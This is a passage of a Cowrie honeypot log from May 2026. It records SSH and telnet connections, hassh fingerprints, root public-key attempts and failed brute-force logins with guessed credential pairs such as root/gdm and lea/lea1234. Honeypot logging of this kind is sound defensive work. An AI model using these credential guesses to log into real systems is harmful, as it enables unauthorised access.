fie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:52:38.899579Z","src_ip":"202.29.225.206","session":"77d1160458c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:52:39.908569Z","src_ip":"202.29.225.206","session":"77d1160458c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:52:41.152848Z","src_ip":"202.29.225.206","session":"77d1160458c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":40344,"dst_ip":"10.17.0.5","dst_port":23,"session":"587c44ecca91","protocol":"telnet","message":"New connection: 142.93.69.27:40344 (10.17.0.5:23) [session: 587c44ecca91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:28.789623Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":45084,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dbf7934bc08","protocol":"ssh","message":"New connection: 101.109.219.135:45084 (10.17.0.5:22) [session: 0dbf7934bc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:47.756545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:47.761366Z","src_ip":"101.109.219.135","session":"0dbf7934bc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:48.019973Z","src_ip":"101.109.219.135","session":"0dbf7934bc08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gdm","message":"login attempt [root/gdm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:49.080463Z","src_ip":"101.109.219.135","session":"0dbf7934bc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:50.344434Z","src_ip":"101.109.219.135","session":"0dbf7934bc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":16045,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa53db17933a","protocol":"ssh","message":"New connection: 193.46.255.86:16045 (159.203.135.109:22) [session: fa53db17933a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:55.937283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:55.942013Z","src_ip":"193.46.255.86","session":"fa53db17933a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:56.073361Z","src_ip":"193.46.255.86","session":"fa53db17933a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lea","password":"lea1234","message":"login attempt [lea/lea1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:56.673086Z","src_ip":"193.46.255.86","session":"fa53db17933a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159192085266,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:57.720423Z","src_ip":"31.134.20.206","session":"6316b35f8a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:53:57.808258Z","src_ip":"193.46.255.86","session":"fa53db17933a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":54712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3d05ad3f783","protocol":"telnet","message":"New connection: 31.134.20.206:54712 (159.203.135.109:23) [session: f3d05ad3f783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:54:02.410312Z"}
{"eventid":"cowrie.session.closed","duration":41.07636022567749,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:54:09.865858Z","src_ip":"142.93.69.27","session":"587c44ecca91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.43.33.9","src_port":10693,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e06a3e2c743","protocol":"telnet","message":"New connection: 179.43.33.9:10693 (159.203.135.109:23) [session: 8e06a3e2c743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:36.957305Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d961a6f681f","protocol":"telnet","message":"New connection: 142.93.69.27:42044 (10.17.0.5:23) [session: 2d961a6f681f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:39.939171Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.68.103.106","src_port":53832,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e890ae1f44f","protocol":"ssh","message":"New connection: 51.68.103.106:53832 (10.17.0.5:22) [session: 6e890ae1f44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:48.692052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:48.696440Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:48.775105Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:79:07:6b:02:b8:94:b3:f7:57:1a:15:b9:2c:39:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1BWg+rT1EDYdOwhZKvSr/vbDdq9Y0XpxuyfIfTKsgH7GRJ8tNrUWBJMj5A1Z7IpBGsBxJS9uEfCDy2pgPagAnRy+Vnn7NXqJjHll3hf4eh3Img9dr3RrBWGwlHX9ZqBt/ioYJ5mOVYzMOnFaf/lifX/7q35f2UNSUsNpwQvbHm1JvMGbF9HiREu0LbdzOAORTWQsAFxMfqNwxNvQoGaVXn4UND5IJYY8iQDvWF4pkbcn804bGSmCBamHV7WvOYjcaNa88+h3z9v4E0TlaSPteTpQ6jypf64ZOuTMwGAEuNaVqw6rhhrCrz+O3haQLyKRi+bIxxZ+goKIqVUNwZYZx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:79:07:6b:02:b8:94:b3:f7:57:1a:15:b9:2c:39:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.147712Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:79:07:6b:02:b8:94:b3:f7:57:1a:15:b9:2c:39:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1BWg+rT1EDYdOwhZKvSr/vbDdq9Y0XpxuyfIfTKsgH7GRJ8tNrUWBJMj5A1Z7IpBGsBxJS9uEfCDy2pgPagAnRy+Vnn7NXqJjHll3hf4eh3Img9dr3RrBWGwlHX9ZqBt/ioYJ5mOVYzMOnFaf/lifX/7q35f2UNSUsNpwQvbHm1JvMGbF9HiREu0LbdzOAORTWQsAFxMfqNwxNvQoGaVXn4UND5IJYY8iQDvWF4pkbcn804bGSmCBamHV7WvOYjcaNa88+h3z9v4E0TlaSPteTpQ6jypf64ZOuTMwGAEuNaVqw6rhhrCrz+O3haQLyKRi+bIxxZ+goKIqVUNwZYZx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.151668Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:ce:9b:ad:87:34:a9:76:b2:8b:bc:93:c8:3f:95:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiRNzAmwKIcgJCYXBt+D/Kb4X7Cf7MaeuzESWcQlX91Psgg4EyK23iWXrM3QlQW8tG+XZwxRgZ955SWjQIe3z1XhtSQUP1NQwvMHL0mCCBJahw1p3yfRN+Gh/9wDwOYmDcet8nKOREccmlOB1L7gdJln38i8JX9P6xm9YGPIx+BWVVM8kVl+aef97fsKzK647DSmtG7SiPjAcoJS3obfmiVdRNKB+G700C7k8DaLcYyOgfCYPIfyraZpcU4C/mQAS225xMKUDaZxZEbU0iYe9Z/B6BB7S1w8FOgsQgGc1JY5gr0yDSGb8qxn6Ls4KkuZHkO+kyhtdajioBkl8aEgkB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:ce:9b:ad:87:34:a9:76:b2:8b:bc:93:c8:3f:95:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.231758Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:ce:9b:ad:87:34:a9:76:b2:8b:bc:93:c8:3f:95:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiRNzAmwKIcgJCYXBt+D/Kb4X7Cf7MaeuzESWcQlX91Psgg4EyK23iWXrM3QlQW8tG+XZwxRgZ955SWjQIe3z1XhtSQUP1NQwvMHL0mCCBJahw1p3yfRN+Gh/9wDwOYmDcet8nKOREccmlOB1L7gdJln38i8JX9P6xm9YGPIx+BWVVM8kVl+aef97fsKzK647DSmtG7SiPjAcoJS3obfmiVdRNKB+G700C7k8DaLcYyOgfCYPIfyraZpcU4C/mQAS225xMKUDaZxZEbU0iYe9Z/B6BB7S1w8FOgsQgGc1JY5gr0yDSGb8qxn6Ls4KkuZHkO+kyhtdajioBkl8aEgkB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.235157Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:43:9f:1b:a8:74:e9:96:72:2d:0f:56:9e:4e:3c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYsRu53zJiDBerk2wcr6DT45XFWZlc/eVlbyf8QKAFvQ07+916e1RqS+k8JSn5QrvAx7LRRF0aTJxuxD919hFZy8Wwov6FTsNnScT35L9D+rmf8piIpSHIgYLjYns/Uw5MvBfNKPFi5QoDoZVjbWTBsqcUj3wSYJGZ1RXRxt1+ukdKtGyFENliqfe4WjvmmxEfJYqe75epb9P59BtlR7TDF+UonGENLJyJj++sW9+K4zRrLuFw5iYwJ5bg/luTMGJ4QLVLBZt3oY0hzZsM2FRNhYcpu6Ie3k+iLeY/9OWNBuH9QSLj+46UnZMSnvfJ/Sv6Q6TEIOPJS76XkJY0pM8orbBIaA/20v1UUp0CW9lWTJfnHVCXx1FR/vNcatM093GRnoVBQUMSHbmPYdkkF1f8FapWnDv3vAkrmZH3k0yXaNpa9bS86fH6KXAMkGgWN847ByPwKZxwZYy8nFCFBeLb7oyE6iNOvF5F0LinVOmTJiK1rBCeeQXMSVwTQG31+aK5R//eaSznKjxnP5IL8U5yK1O5NMJ3IQPnrgOIwofJMtg3uwt36QbHn/3iuisrcTHURkxQvoH1wET/v5w9sTcOWNGDaAfr82PqO4ktVznPRuhOqfV+/2fkKbuahbaDC7xfwX1LB+KbRWHlK76bh4yssf8I+u4/wg8WEx/JQzGj3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:43:9f:1b:a8:74:e9:96:72:2d:0f:56:9e:4e:3c:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.315414Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:43:9f:1b:a8:74:e9:96:72:2d:0f:56:9e:4e:3c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYsRu53zJiDBerk2wcr6DT45XFWZlc/eVlbyf8QKAFvQ07+916e1RqS+k8JSn5QrvAx7LRRF0aTJxuxD919hFZy8Wwov6FTsNnScT35L9D+rmf8piIpSHIgYLjYns/Uw5MvBfNKPFi5QoDoZVjbWTBsqcUj3wSYJGZ1RXRxt1+ukdKtGyFENliqfe4WjvmmxEfJYqe75epb9P59BtlR7TDF+UonGENLJyJj++sW9+K4zRrLuFw5iYwJ5bg/luTMGJ4QLVLBZt3oY0hzZsM2FRNhYcpu6Ie3k+iLeY/9OWNBuH9QSLj+46UnZMSnvfJ/Sv6Q6TEIOPJS76XkJY0pM8orbBIaA/20v1UUp0CW9lWTJfnHVCXx1FR/vNcatM093GRnoVBQUMSHbmPYdkkF1f8FapWnDv3vAkrmZH3k0yXaNpa9bS86fH6KXAMkGgWN847ByPwKZxwZYy8nFCFBeLb7oyE6iNOvF5F0LinVOmTJiK1rBCeeQXMSVwTQG31+aK5R//eaSznKjxnP5IL8U5yK1O5NMJ3IQPnrgOIwofJMtg3uwt36QbHn/3iuisrcTHURkxQvoH1wET/v5w9sTcOWNGDaAfr82PqO4ktVznPRuhOqfV+/2fkKbuahbaDC7xfwX1LB+KbRWHlK76bh4yssf8I+u4/wg8WEx/JQzGj3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.319145Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:31:08:0b:be:70:6d:12:70:e3:6a:0d:b5:82:e5:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvj9r9Hun2G37YOWwwHTqlP2zytrZFzZj33zfQSrPfqTMXhxXlGRTEuqA1qtVCVuiCpNqbg8djyHIGlr4H2rbrI9B14TFTWhb9wAUQhozPyBjCXDF9cvbQWJsj4mIGDeXl5FbGRyZ059nvi8lR1HryBVloizmrFBY/n5S6Hf5NU9y2N2yrahAuneg79MLAdAQfqw6cHy+X2oCD8wXA2gIvaGC/y0LIKtAtvHBpI0Oz1jWaxQjNLc6aCDKQbHrgmogaRF/0BQx5v7ORyVMYEPu9mRETqrJEK8twXlQfWO5d4qEk/Yd3JA1Jr3p1G/93/s0HzbbTFBekIf2ufLjSfv61","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:31:08:0b:be:70:6d:12:70:e3:6a:0d:b5:82:e5:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.400523Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:31:08:0b:be:70:6d:12:70:e3:6a:0d:b5:82:e5:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvj9r9Hun2G37YOWwwHTqlP2zytrZFzZj33zfQSrPfqTMXhxXlGRTEuqA1qtVCVuiCpNqbg8djyHIGlr4H2rbrI9B14TFTWhb9wAUQhozPyBjCXDF9cvbQWJsj4mIGDeXl5FbGRyZ059nvi8lR1HryBVloizmrFBY/n5S6Hf5NU9y2N2yrahAuneg79MLAdAQfqw6cHy+X2oCD8wXA2gIvaGC/y0LIKtAtvHBpI0Oz1jWaxQjNLc6aCDKQbHrgmogaRF/0BQx5v7ORyVMYEPu9mRETqrJEK8twXlQfWO5d4qEk/Yd3JA1Jr3p1G/93/s0HzbbTFBekIf2ufLjSfv61","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.404724Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:b2:dd:e6:9a:d5:a2:43:78:9d:2e:69:4a:5a:41:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEIg1b7+OZ/yf3es9U0xYlALEWRgLPEjZVCHthxAJR1EngZQWoQ63tFgLxw1bFR5isfVxgpvQbcwJZaaj1nfBENu+V3BdoMFaN2bIHyoX7McBDeDtnZz3NvHch6yQnT2K8qgqv5mWTL+TFkJFbxIPypITJiYBrWxmKugJOhxZCGPO10PjZ2bjtR9FN03TrTOnCo9OOCj8EUClxWQEl4S99NNGtKX0BQzXACWJ7RZG5RVhUSroHb28vPLxwKeiPfSmHQUi2DlZAt4OsGP+Ar/FgBjyoVfGVqWaPC1kHn1zcuHvuHu8YjVC0UYCSUabyaNPT8Q59EQpmuzje5eTLqJcn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:b2:dd:e6:9a:d5:a2:43:78:9d:2e:69:4a:5a:41:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.484649Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:b2:dd:e6:9a:d5:a2:43:78:9d:2e:69:4a:5a:41:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEIg1b7+OZ/yf3es9U0xYlALEWRgLPEjZVCHthxAJR1EngZQWoQ63tFgLxw1bFR5isfVxgpvQbcwJZaaj1nfBENu+V3BdoMFaN2bIHyoX7McBDeDtnZz3NvHch6yQnT2K8qgqv5mWTL+TFkJFbxIPypITJiYBrWxmKugJOhxZCGPO10PjZ2bjtR9FN03TrTOnCo9OOCj8EUClxWQEl4S99NNGtKX0BQzXACWJ7RZG5RVhUSroHb28vPLxwKeiPfSmHQUi2DlZAt4OsGP+Ar/FgBjyoVfGVqWaPC1kHn1zcuHvuHu8YjVC0UYCSUabyaNPT8Q59EQpmuzje5eTLqJcn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.488685Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:49.568214Z","src_ip":"51.68.103.106","session":"6e890ae1f44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.812244176864624,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:55:50.769450Z","src_ip":"179.43.33.9","session":"8e06a3e2c743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01428580284119,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:02.423710Z","src_ip":"31.134.20.206","session":"f3d05ad3f783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":37730,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c7548ce48db","protocol":"telnet","message":"New connection: 31.134.20.206:37730 (159.203.135.109:23) [session: 8c7548ce48db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:02.840020Z"}
{"eventid":"cowrie.session.closed","duration":45.03125548362732,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:24.970308Z","src_ip":"142.93.69.27","session":"2d961a6f681f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":55308,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a9d562d742","protocol":"ssh","message":"New connection: 31.57.216.11:55308 (10.17.0.5:22) [session: f4a9d562d742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:27.457317Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:56:27.463407Z","src_ip":"31.57.216.11","session":"f4a9d562d742","protocol":"ssh"}
